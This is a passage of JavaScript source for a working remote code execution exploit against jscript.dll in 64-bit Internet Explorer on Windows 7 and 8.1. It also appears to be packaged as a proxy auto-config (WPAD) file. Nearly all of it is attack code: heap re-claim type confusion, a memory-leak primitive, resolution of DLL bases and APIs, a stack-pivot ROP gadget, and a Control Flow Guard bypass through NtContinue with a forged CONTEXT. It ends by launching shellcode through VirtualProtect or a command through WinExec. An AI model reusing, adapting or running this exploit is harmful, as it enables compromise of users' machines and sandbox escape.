// ContextFlags "\u0000\u0000" + // MxCsr "\u0033" + // SegCs "\u0000" + // SegDs "\u0000" + // SegEs "\u0000" + // SegFs "\u0000" + // SegGs "\u002b" + // SegSs "\u0246\u0000" + // EFlags "\u0000\u0000\u0000\u0000" + // Dr0 - Prevents EAF too! "\u0000\u0000\u0000\u0000" + // Dr1 "\u0000\u0000\u0000\u0000" + // Dr2 "\u0000\u0000\u0000\u0000" + // Dr3 "\u0000\u0000\u0000\u0000" + // Dr6 "\u0000\u0000\u0000\u0000" + // Dr7 "\u0000\u0000\u0000\u0000" + // Rax QwordToUnicode(ShellcodeAddress) + // Rcx QwordToUnicode(ShellcodeSize) + // Rdx "\u0000\u0000\u0000\u0000" + // Rbx QwordToUnicode(NewRSP) + // Rsp "\u0000\u0000\u0000\u0000" + // Rbp "\u0000\u0000\u0000\u0000" + // Rsi "\u0000\u0000\u0000\u0000" + // Rdi "\u0040\u0000\u0000\u0000" + // R8 QwordToUnicode(WritableAddress) + // R9 "\u0000\u0000\u0000\u0000" + // R10 QwordToUnicode(ArtificialStackAddress) + // R11 "\u0000\u0000\u0000\u0000" + // R12 "\u0000\u0000\u0000\u0000" + // R13 "\u0000\u0000\u0000\u0000" + // R14 "\u0000\u0000\u0000\u0000" + // R15 QwordToUnicode(StackPivotAddress); // RIP } function MakeContextWinExec64(CommandLineAddress, StackPtr, WinExecAddress) { return "\u0000\u0000\u0000\u0000" + // P3Home "\u0000\u0000\u0000\u0000" + // P4Home "\u0000\u0000\u0000\u0000" + // P5Home "\u0000\u0000\u0000\u0000" + // P6Home "\u0003\u0010" + // ContextFlags "\u0000\u0000" + // MxCsr "\u0033" + // SegCs "\u0000" + // SegDs "\u0000" + // SegEs "\u0000" + // SegFs "\u0000" + // SegGs "\u002b" + // SegSs "\u0246\u0000" + // EFlags "\u0000\u0000\u0000\u0000" + // Dr0 - Prevents EAF too! "\u0000\u0000\u0000\u0000" + // Dr1 "\u0000\u0000\u0000\u0000" + // Dr2 "\u0000\u0000\u0000\u0000" + // Dr3 "\u0000\u0000\u0000\u0000" + // Dr6 "\u0000\u0000\u0000\u0000" + // Dr7 "\u0000\u0000\u0000\u0000" + // Rax QwordToUnicode(CommandLineAddress) + // Rcx - Command pointer "\u0005\u0000\u0000\u0000" + // Rdx - SW_SHOW "\u0000\u0000\u0000\u0000" + // Rbx QwordToUnicode(StackPtr) + // Rsp "\u0000\u0000\u0000\u0000" + // Rbp "\u0000\u0000\u0000\u0000" + // Rsi "\u0000\u0000\u0000\u0000" + // Rdi "\u0000\u0000\u0000\u0000" + // R8 "\u0000\u0000\u0000\u0000" + // R9 "\u0000\u0000\u0000\u0000" + // R10 "\u0000\u0000\u0000\u0000" + // R11 "\u0000\u0000\u0000\u0000" + // R12 "\u0000\u0000\u0000\u0000" + // R13 "\u0000\u0000\u0000\u0000" + // R14 "\u0000\u0000\u0000\u0000" + // R15 QwordToUnicode(WinExecAddress); // RIP - KERNEL32.DLL!WinExec } function CreateFakeVtable(NtContinueAddress) { var FakeVtable = ""; var Padding = []; for (var i = 0; i < (0x138 / 4); i++) { Padding[i] = 0x11111111; } FakeVtable += DwordArrayToBytes(Padding); FakeVtable += DwordArrayToBytes([NtContinueAddress.low]); FakeVtable += DwordArrayToBytes([NtContinueAddress.high]); for (var i = (0x140 / 4); i < (0x400 / 4); i++) { Padding[i] = 0x22222222; } FakeVtable += DwordArrayToBytes(Padding); return FakeVtable; } var LFHBlocks = new Array(); // If this is local rather than global the exploit does not work on Windows 8.1 IE11 64-bit function Exploit() { if(PayloadType != "shellcode" && PayloadType != "winexec") { DebugLog("Fatal error: invalid payload type"); return 0; } // Initialization: these anchor re-claim counts have varying affects on exploit stability. The higher the anchor count, the more stable, but the more time the exploit will take. if(WindowsVersion <= 7) { ReClaimNameList = ReClaimIndexNameList; NameListAnchorCount = 5000; // 20000 was needed prior to using GC at the start of the exploit. Performance went from around 4 seconds to 700ms when moved to 400. 5000 was the sweet spot on Win7 IE8 64-bit between speed and stability. } else { ReClaimNameList = ReClaimBackupNameLists; if(PacFile) { NameListAnchorCount = 10000; } else { NameListAnchorCount = 400; // The larger this number the more reliable the exploit on Windows 8.1 where LFH cannot easily re-claim } } CollectGarbage(); // This GC is essential for re-claims with randomized LFH on precise regions (such as VVAL re-claim), but it also allows for the GcBlock re-claim count to be drastically reduced (otherwise 20000+ was needed, as in the original exploit) // Trigger LFH for a size of 0x970 for(var i = 0; i < 50; i++) { // Only 50 are needed to activate LFH, but spraying additional allocations seems to help clog existing free memory regions on the heap and improve LFH re-claim reliability on Win8.1+ Temp = new Object(); Temp[Array(570).join('A')] = 1; // Property name size of 0x239 (569 chars with a default +1 added as a terminator) will produce the desired re-claim allocation size. LFHBlocks.push(Temp); } // Re-claim with type confusion NameLists NewUntrackedVarSet(); DebugLog("Total untracked variables: " + UntrackedVarSet.length.toString(10)); for(var i = 0; i < NameListAnchorCount; i++) { NameListAnchors[i][SizerPropName] = 1; // 0x239 property name size for 0x970 NameList allocation size NameListAnchors[i]["BBBBBBBBBBB"] = 1; // 11*2 = 22 in 64-bit, 9*2 = 18 bytes in 32-bit NameListAnchors[i]["\u0005"] = 1; // This ends up in the VVAL hash/name length to be type confused with an integer VAR NameListAnchors[i]["C"] = i; // The address of this VVAL will be leaked } AnchorObjectsBackup = NameListAnchors; // Backup name list anchor objects (this will allow re-claim to "stick"). // Leak final VVAL address from one of the NameLists var LeakedVvalAddress = 0; var TypeConfusionAligned = false; for(var i = 0; i < UntrackedVarSet.length; i++) { if(typeof UntrackedVarSet[i] === "number" && UntrackedVarSet[i] % 1 != 0) { LeakedVvalAddress = (UntrackedVarSet[i] / 4.9406564584124654E-324); // This division just converts the float into an easy-to-read 32-bit number TypeConfusionAligned = true; break; } } if(!TypeConfusionAligned) { DebugLog("Leaked anchor object type confusion re-claim failed: no untracked var aligned with type confusion float/next VVAL pointer"); return 0; } LeakedVvalAddress = Int52ToDouble(LeakedVvalAddress); // In Windows 7, the leaked heap pointer could always be encoded in 32-bits. On Windows 8.1 IE11, it often consumes more. By leaking the final VVAL pointer with a double float we can get the bits we need. Experimenting with this I learned all JS numbers are 52 bits in size. In the event that the leaked pointer has its highest bits set it may be an invalid double. This hasn't be an issue on Windows 7 x64, x86, or Windows 8.1 x64 during my testing. if(!LeakedVvalAddress.high && !LeakedVvalAddress.low) { DebugLog("Leaked anchor object type confusion re-claim failed: conversion of leaked VVAL address (type confusion successful) to double failed (invalid 52-bit integer)"); return 0; } // Re-claim with VAR-referencing-VAR NameLists var PrimaryVvalPropName = "AAAAAAAA"; // 16 bytes for size of GcBlock double linked list pointers for(var i = 0; i < 46; i++) { PrimaryVvalPropName += CreateVar64(0x80, LeakedVvalAddress.low, LeakedVvalAddress.high, 0, 0); // Type 0x80 is a VAR reference } while(PrimaryVvalPropName.length < 0x239) PrimaryVvalPropName += "A"; // Re-claim with leaked VVAL address vars (to be dereferenced for anchor object index extraction) NewUntrackedVarSet(); for(var i = 0; i < NameListAnchorCount; i++) { NameListAnchors[i][PrimaryVvalPropName] = 1; } // Extract NameList anchor index through untracked var dereference to leaked VVAL prefix VAR var LeakedVvalVar; for(var i = 0; i < UntrackedVarSet.length; i++) { if(typeof UntrackedVarSet[i] === "number") { LeakedAnchorIndex = parseInt(UntrackedVarSet[i] + ""); // Attempting to access the untracked var without parseInt will fail ("null or not an object") LeakedVvalVar = UntrackedVarSet[i]; // The + "" trick alone does not seeem to be enough to populate this with the actual value break; } } DebugLog("Leaked anchor object index: " + LeakedAnchorIndex.toString(16)); // Verify that the VAR within the leaked VVAL can be influenced by directly freeing/re-claiming the NameList associated with the leaked NameList anchor object (whose index is now known) ReClaimNameList(0x11, "A"); if(LeakedVvalVar + "" != 0x11) { DebugLog("Failed to extract final VVAL index via re-claim"); return 0; } // Create the mutable variable which will be used throughout the remainder of the exploit and re=claim with VAR-referencing-VAR to it for dereference ReClaimNameList(0, CreateVar64(0x3, 0x22, 0, 0, 0)); PrimaryVvalPropName = "AAAAAAAA"; // 2 wide chars (4 bytes) plus the 4 byte BSTR length gives 8 bytes: the size of the two GcBlock linked list pointers. Everything after this point can be fake VARs and a tail padding. for(var i = 0; i < 46; i++) { PrimaryVvalPropName += CreateVar64(0x80, LeakedVvalAddress.low + 0x40, LeakedVvalAddress.high, 0, 0); // +0x40 is the offset to property name field of 64-bit VVAL struct. Type 0x80 is a VAR reference } while(PrimaryVvalPropName.length < 0x239) PrimaryVvalPropName += "A"; // Dynamically pad the end of the proeprty name to correct length // Re-claim with leaked VVAL name property address vars (this is the memory address of the mutable variable that will be created) NewUntrackedVarSet(); for(var i = 0; i < NameListAnchorCount; i++) { NameListAnchors[i][PrimaryVvalPropName] = 1; } for(var i = 0; i < UntrackedVarSet.length; i++) { if(typeof UntrackedVarSet[i] === "number") { if(UntrackedVarSet[i] + "" == 0x22) { MutableVar = UntrackedVarSet[i]; break; } } } // Verify the mutable var can be changed via simple re-claim ReClaimNameList(0, CreateVar64(0x3, 0x33, 0, 0, 0)); if(MutableVar + "" != 0x33) { DebugLog("Failed to verify mutable variable modification via re-claim"); return 0; } // Test arbitrary read primitive var MutableVarAddress = MakeQword(LeakedVvalAddress.high, LeakedVvalAddress.low + 0x40); if(LeakByte64(MutableVarAddress) != 0x8) { // Change mutable var to a BSTR pointing at itself. DebugLog("Memory leak test failed"); return 0; } // Derive jscript.dll base from leaked Object vtable var DissectedObj = new Object(); var ObjectAddress = LeakObjectAddress64(LeakedVvalAddress, DissectedObj); var VtableAddress = LeakQword64(ObjectAddress); var JScriptBase = DiveModuleBase64(VtableAddress); if(!JScriptBase.low && !JScriptBase.high) { DebugLog("Failed to leak JScript.dll base address"); return 0; } else { DebugLog("Leaked JScript base address: 0x" + JScriptBase.high.toString(16) + JScriptBase.low.toString(16)); } // Extract the first Kernel32.dll import from Jscript.dll IAT to dive for its base var Kernel32Base = BaseFromImports64(JScriptBase, [0x4e52454b, 0x32334c45]); if(!Kernel32Base.low && !Kernel32Base.high) { DebugLog("Kernel32.dll base resolution via Jscript.dll imports failed."); return 0; } else { DebugLog("Leaked KERNEL32.DLL base address: 0x" + Kernel32Base.high.toString(16) + Kernel32Base.low.toString(16)); } var VirtualProtectAddress; var WinExecAddress; if(PayloadType == "shellcode") { // Resolve APIs for command execution: NTDLL.DLL!NtContinue, KERNEL32.DLL!VirtualProtect VirtualProtectAddress = ResolveExport64(Kernel32Base, [ 0x74726956, 0x506c6175, 0x65746f72, 0x00007463 ]); // VirtualProtect if(!VirtualProtectAddress.low && !VirtualProtectAddress.high) { DebugLog("Failed to resolve address of KERNEL32.DLL!VirtualProtect"); return 0; } DebugLog("Successfully resolved address of VirtualProtect to: 0x" + VirtualProtectAddress.high.toString(16) + VirtualProtectAddress.low.toString(16)); } else if(PayloadType == "winexec") { // Resolve APIs for command execution: NTDLL.DLL!NtContinue, KERNEL32.DLL!WinExec WinExecAddress = ResolveExport64(Kernel32Base, [0x456e6957]); if(!WinExecAddress.low && !WinExecAddress.high) { DebugLog("Failed to resolve address of KERNEL32.DLL!WinExec"); return 0; } } var MsvcrtBase = BaseFromImports64(JScriptBase, [0x6376736d, 0x642e7472]); if(!MsvcrtBase.low && !MsvcrtBase.high) { DebugLog("Msvcrt.dll base resolution via Jscript.dll imports failed."); return 0; } var NtdllBase = BaseFromImports64(MsvcrtBase, [0x6c64746e, 0x6c642e6c]); if(!NtdllBase.low && !NtdllBase.high) { DebugLog("Ntdll.dll base resolution via Msvcrt.dll imports failed."); return 0; } var NtContinueAddress = ResolveExport64(NtdllBase, [0x6f43744e, 0x6e69746e]); if(!NtContinueAddress.low && !NtContinueAddress.high) { DebugLog("Failed to resolve address of NTDLL.DLL!NtContinue"); return 0; } // Leak an authentic stack pointer to avoid triggering the stack pivot protection built into CFG on Windows 8.1+ within the kernel layer of NTDLL.DLL!NtContinue var CSessionAddress = LeakQword64(MakeQword(ObjectAddress.high, ObjectAddress.low + 24)); // Get CSession from offset 24 var LeakedStackPtr = LeakQword64(MakeQword(CSessionAddress.high, CSessionAddress.low + 80)); LeakedStackPtr.low += 0x8; // Stack alignment needs to be at a 0x10 boundary prior to CALL // Construct a fake vtable and fake object for use within mutable var property name var FakeVtable = CreateFakeVtable(NtContinueAddress); FakeVtable = FakeVtable.substr(0, FakeVtable.length); var FakeVtableAddress = LeakObjectAddress64(LeakedVvalAddress, FakeVtable); var MutableVarAddress = MakeQword(LeakedVvalAddress.high, LeakedVvalAddress.low + 0x40); var FakeObjAddress = MakeQword(LeakedVvalAddress.high, LeakedVvalAddress.low + 96); var Context; if(PayloadType == "shellcode") { // Allocate memory for shellcode, API output and an artificial stack var ShellcodeStr = TableToUnicode(Shellcode); var ShellcodeLen = MakeQword(0, (ShellcodeStr.length * 2)); ShellcodeStr = ShellcodeStr.substr(0, ShellcodeStr.length); // This trick is essential to ensure the "address of" primitive gets the actual address of the shellcode data and not another VAR in a chain of VARs (this happens when a VAR is appended to another repeaatedly as is the case here) var ShellcodeAddress = LeakObjectAddress64(LeakedVvalAddress, ShellcodeStr); /* Artificial stack data for use beyond the NTDLL.DLL!NtContinue pivot. NTDLL.DLL!NtContinue --------------------> RIP = <MSVCRT.DLL!0x00019baf> | MOV RSP, R11; RET RCX = Shellcode address RDX = Shellcode size R8 = 0x40 R9 = Leaked address of BSTR to hold out param RSP = Real stack pointer R11 = Artificial stack |-----------------------------|^ | 2MB stack space (heap)|| |-----------------------------|| | Heap header/BSTR len align|| |-----------------------------|| | KERNEL32.DLL!VirtualProtect | <----------| |-----------------------------| | Shellcode return address] |-----------------------------| */ var Padding = Array(0x100000 + 1).join('\u0101'); // The +1 here always gives it a clean len (used to be -1) var ArtificialStackStr = Padding; // A couple KB were never enough, even for VirtualProtect and WinExec. The WPAD RPC client shellcode for sandbox escape is exceptionally consumptive with stack memory. ArtificialStackStr += DwordArrayToBytes([VirtualProtectAddress.low]); ArtificialStackStr += DwordArrayToBytes([VirtualProtectAddress.high]); ArtificialStackStr += DwordArrayToBytes([ShellcodeAddress.low]); ArtificialStackStr += DwordArrayToBytes([ShellcodeAddress.high]); ArtificialStackStr = ArtificialStackStr.substr(0, ArtificialStackStr.length); var ArtificialStackAddress = LeakObjectAddress64(LeakedVvalAddress, ArtificialStackStr); ArtificialStackAddress.low += ((ArtificialStackStr.length * 2) - 0x10); // Point RSP at the return address to the shellcode. The address consistently ends up an 0x8 multiple on Windows 7 IE8 64-bit. Stack overfloow exceptions were becoming an issue when I did not include this tail padding. var WritableStr = ""; WritableStr += DwordArrayToBytes([0]); WritableStr = WritableStr.substr(0, WritableStr.length); var WritableAddress = LeakObjectAddress64(LeakedVvalAddress, WritableStr); // Dynamically resolve ROP gadget for stack pivot via export hint var StackPivotAddress; var HintExportAddress = ResolveExport64(MsvcrtBase, [ 0x686e6174, 0x00000066 ]); // tanhf var MagicOffset; if(!HintExportAddress.low && !HintExportAddress.high) { DebugLog("Failed to resolve address of MSVCRT.DLL!tanhf"); return 0; } if(WindowsVersion <= 7) { MagicOffset = 0x2da + 1; // tanhf:0x00076450 (+0x2da) <- 0x0007672a -> (+0x3e5e) ??_7bad_cast@@6B@:0x0007a588 } else { MagicOffset = 0x11f + 19; // tanhf:0x00019a90 (+0x11f) <- 0x00019baf -> (+0x31) acosf:0x00019be0 } // 49:8BE3 | mov rsp,r11 // C3| ret StackPivotAddress = HarvestGadget64(HintExportAddress, 0x500, 0xC3E38B49, 0x00000000FFFFFFFF, MagicOffset); if(!StackPivotAddress.low && !StackPivotAddress.high) { DebugLog("Failed to resolve address of stack pivot gadget"); return 0; } DebugLog("Gadget address of stack pivot: 0x" + StackPivotAddress.high.toString(16) + StackPivotAddress.low.toString(16)); Context = MakeContextDEPBypass64(LeakedStackPtr, ArtificialStackAddress, StackPivotAddress, VirtualProtectAddress, ShellcodeAddress, ShellcodeLen, WritableAddress); DebugLog("Artificial stack pointer address at 0x" + ArtificialStackAddress.high.toString(16) + " " + ArtificialStackAddress.low.toString(16) +" shellcode at 0x" + ShellcodeAddress.high.toString(16) + ShellcodeAddress.low.toString(16) + " CONTEXT pointer: 0x" + FakeObjAddress.high.toString(16) + FakeObjAddress.low.toString(16)); } else if(PayloadType == "winexec") { CommandStr = CommandStr.substr(0, CommandStr.length); var CommandStrAddress = LeakObjectAddress64(LeakedVvalAddress, CommandStr); Context = MakeContextWinExec64(CommandStrAddress, LeakedStackPtr, WinExecAddress); } var RipHijackPropName = CreateVar64(0x81, LeakedVvalAddress.low + 96, LeakedVvalAddress.high, 0, 0) + CreateVar64(0, FakeVtableAddress.low, FakeVtableAddress.high, 0, 0) + Context; // 96 is the 64-bit prop name offset plus size of mutable VAR and next VAR Type field. /* jscript.dll!Object.Typeof method mov rdi,qword ptr ds:[rdi+8] mov rax,qword ptr ds:[rdi] mov rbx,qword ptr ds:[rax+138] mov rcx,rbx call qword ptr ds:[7FFA554EC628] mov rcx,rdi call rbx Initially RDI holds the pointer to the mutable VAR. Its object pointer is being loaded from +8, and then RDI holds the pointer to the fake Object, which is dereferenced into RAX to obtain the vtable pointer. Offset 0x138 holds the typeof method pointer within the vtable, which is subsequently passed to CFG for validation. Since the fake vtable holds the address of NTDLL.DLL!NtContine in place of its typeof method (and this address is whitelisted by CFG) the security check will succeed and we will end up with an indirect branch instruction (CALL RBX) whch will execute the RIP hijack. Most notably, since a class method will always be passed its "this" pointer as its first parameter (which in x64 will be held in RCX) we not only end up with a RIP hijack but also control of the RCX register. Control of this register allows us to control the first parameter to NTDLL.DLL!NtContinue (in this case a CONTEXT structure pointer) which conveniently will hold a pointer to our fake object, the contents of which we control. Thus the fake object itself will be interpreted as CONTEXT struct we may control. Malicious VVAL property name ------------------ | VAR.Type | <-- Mutable var |----------------| | | VAR.ObjPtr | <------ Referencing fake object appended to itself in the VVAL property name |----------------| | | VAR.Type | |-- Not a real VAR (its Type is skipped and never referenced), just a 0 field. |----------------| | | Fake vtable ptr| <---|-- Fake object begins here. RCX and RDI point here |----------------| | VAR.NextPtr| <-- Unreferenced, a side-effect of using a VAR struct to initialize the fake object. |----------------| | CONTEXT| <-- Notably the first 16 bytes (2 QWORDs) of this struct will be confused with the fake vtable ptr and VAR.NextPtr fields. These fields represent the P1Home and P2Home registers and its fine if they are initialized to 0. |________________| */ ReClaimNameList(0, RipHijackPropName); var TotalTime = (new Date().getTime() - ScriptTimeStart); DebugLog("TIME ... total time elapsed: " + TotalTime.toString(10) + " read count: " + ReadCount.toString(10)); typeof MutableVar; } function FindProxyForURL(url, host){ return "DIRECT"; } Exploit(); |